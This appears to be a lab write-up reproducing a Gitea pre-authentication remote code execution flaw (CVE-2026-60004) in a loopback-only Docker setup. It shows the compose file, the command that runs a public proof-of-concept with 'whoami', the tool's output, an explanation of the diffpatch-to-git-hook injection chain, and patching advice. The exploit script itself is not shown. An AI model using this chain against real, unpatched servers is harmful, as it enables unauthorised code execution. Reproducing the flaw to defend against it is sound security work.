Setting Up and Exploiting CVE-2026-60004 in an Isolated Gitea Lab
CVE-2026-60004 is a pre-auth remote code execution vulnerability in Gitea, affecting versions 1.17.0 through 1.27.0, with a CVSS score of 9.8 (critical). It's being actively exploited in the wild and was added to CISA's KEV catalog on August 25, 2026. I set up an isolated lab to reproduce it.
Setting Up the Lab
I started by creating a working directory:
mkdir lab
mkdir lab/vuln-gitea
cd lab/vuln-gitea
I pulled the vulnerable version from Docker Hub:
docker pull gitea/gitea:1.27
Then I created a docker-compose.yml:
services:
gitea:
image: gitea/gitea:1.27.0
container_name: gitea-vuln-lab
environment:
- USER_UID=1000
- USER_GID=1000
# Precondition: open registration lets an unauthenticated
# visitor create the account needed to reach the vuln path
- GITEA__service__DISABLE_REGISTRATION=false
- GITEA__service__REQUIRE_SIGNIN_VIEW=false
- GITEA__server__DOMAIN=localhost
- GITEA__server__ROOT_URL=http://localhost:3000/
volumes:
- ./gitea-data:/data
ports:
# Bind to loopback only so nothing is reachable off-box
- "127.0.0.1:3000:3000"
restart: "no"
DISABLE_REGISTRATION=false is the default-style condition that makes this exploitable without pre-existing credentials. The vulnerable path is reached by registering an account, creating a repo, and submitting a crafted patch through the diffpatch API.
Binding to 127.0.0.1:3000 keeps the container reachable only from the VM itself, so I had to set up local port forwarding to reach it from my workstation.
With the compose file in place, I brought the lab up:
mkdir -p gitea-data
docker compose up -d
docker compose logs -f gitea
And confirmed the version:
curl -s http://127.0.0.1:3000/api/v1/version
{"version":"1.27.0"}
Running the Exploit
To keep things simple, I used an existing PoC: CVE-2026-60004-POC.
After cloning it to my workstation, I pointed it at the vulnerable host and ran whoami:
~/lab/vuln-gitea 8s
❯ python3 cve-2026-60004-poc.py --url http://127.0.0.1:3000/ --cmd "whoami"
┌──────────────────────────────────────────────────────────────┐
│ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 (CRIT) │
│ diffpatch → git hook injection │ v1.17–1.27.0 affected │
└──────────────────────────────────────────────────────────────┘
Target : http://127.0.0.1:3000/
Mode : full-auto
Command: whoami
[*] Gitea version: 1.27.0
[*] --- Step 1: Register user ---
[*] Registering user: testpoc6z32h / [email protected]
[+] Registration successful (HTTP 200)
[*] --- Step 2: Create repository ---
[*] Creating repository: testpoc6z32h/poc-milic
[+] Repository created: testpoc6z32h/poc-milic
[*] --- Step 3: Exploit ---
[*] Exploiting: http://127.0.0.1:3000/api/v1/repos/testpoc6z32h/poc-milic/diffpatch
[*] Command: whoami
[*] Send count: 3
[+] Branch SHA: 020902d1875a...
[*] Hook blob SHA1: d5d9302878aca1a0dc1be0a25a46ba3ce2f1b5a9
[+] Send #1 -> HTTP 201 new_sha=c90f38e848d0...
[+] Send #2 -> HTTP 201 new_sha=965210110799...
[+] Send #3 -> HTTP 201 new_sha=d4376a89899f...
[+] Exploit delivered! Hook should have executed.
[*] --- Step 4: Retrieve command output ---
[*] Retrieving output from: /api/v1/repos/testpoc6z32h/poc-milic/raw/proof?ref=rce-proof
[+] Output retrieved (attempt 1):
────────────────────────────────────────────────────────────
git
────────────────────────────────────────────────────────────
[✓] Exploitation successful!
[*] Done.
Command execution confirmed. The output (git) is the user the Gitea process runs as inside the container, matching the USER_UID/USER_GID set in the compose file.
How It Works
Per Wiz's vulnerability writeup, the root cause is a CWE-94 (code injection) flaw in services/repository/files/patch.go. The chain works like this:
-
Reaching the vulnerable endpoint. Open registration (enabled by default) lets anyone create an account and a repository with no prior access, which is why Wiz describes this as "effectively pre-auth RCE" even though the diffpatch API itself requires repo write access, which a freshly registered user already has on their own repo.
-
Shared temporary clone. When a patch is submitted through the diffpatch API, Gitea applies it inside a shared bare temporary clone of the repository on the server.
-
Add/add collision. Submitting the same patch twice against that shared clone produces an add/add collision, where git's three-way merge logic has to reconcile two conflicting additions of the same file.
-
Three-way fallback checkout. In resolving that collision, git's fallback behavior checks the conflicting file out to disk inside the temporary clone, writing attacker-controlled content to a path of the attacker's choosing.
-
Hook placement. By targeting
hooks/post-index-changewith executable mode, the attacker gets their content written into a location git treats as an executable hook, a script git itself runs whenever it updates the index. -
Execution. The next time git performs an operation that updates the index for that temporary clone, it invokes
post-index-change, running the attacker's command as the Gitea service account. This lines up with the PoC's three sequential "Send" requests, each a diffpatch submission building toward the collision and hook placement, and with the output showing up as thegituser inside the container. -
Reading the output. Since there's no direct response channel for command output, the PoC's hook script redirects the command's output into a file committed to the repo, then retrieves it with a follow-up
GETto the repo's raw file endpoint, which is why the exploit output appears as repository content rather than an HTTP response body.
Any Gitea instance on an affected version with self-registration enabled and reachable by an attacker is remotely exploitable for code execution as the Gitea service account, with no valid credentials needed beforehand. Affected instances should be patched to 1.27.1 or later, and DISABLE_REGISTRATION should be set to true for any instance that doesn't need open signup.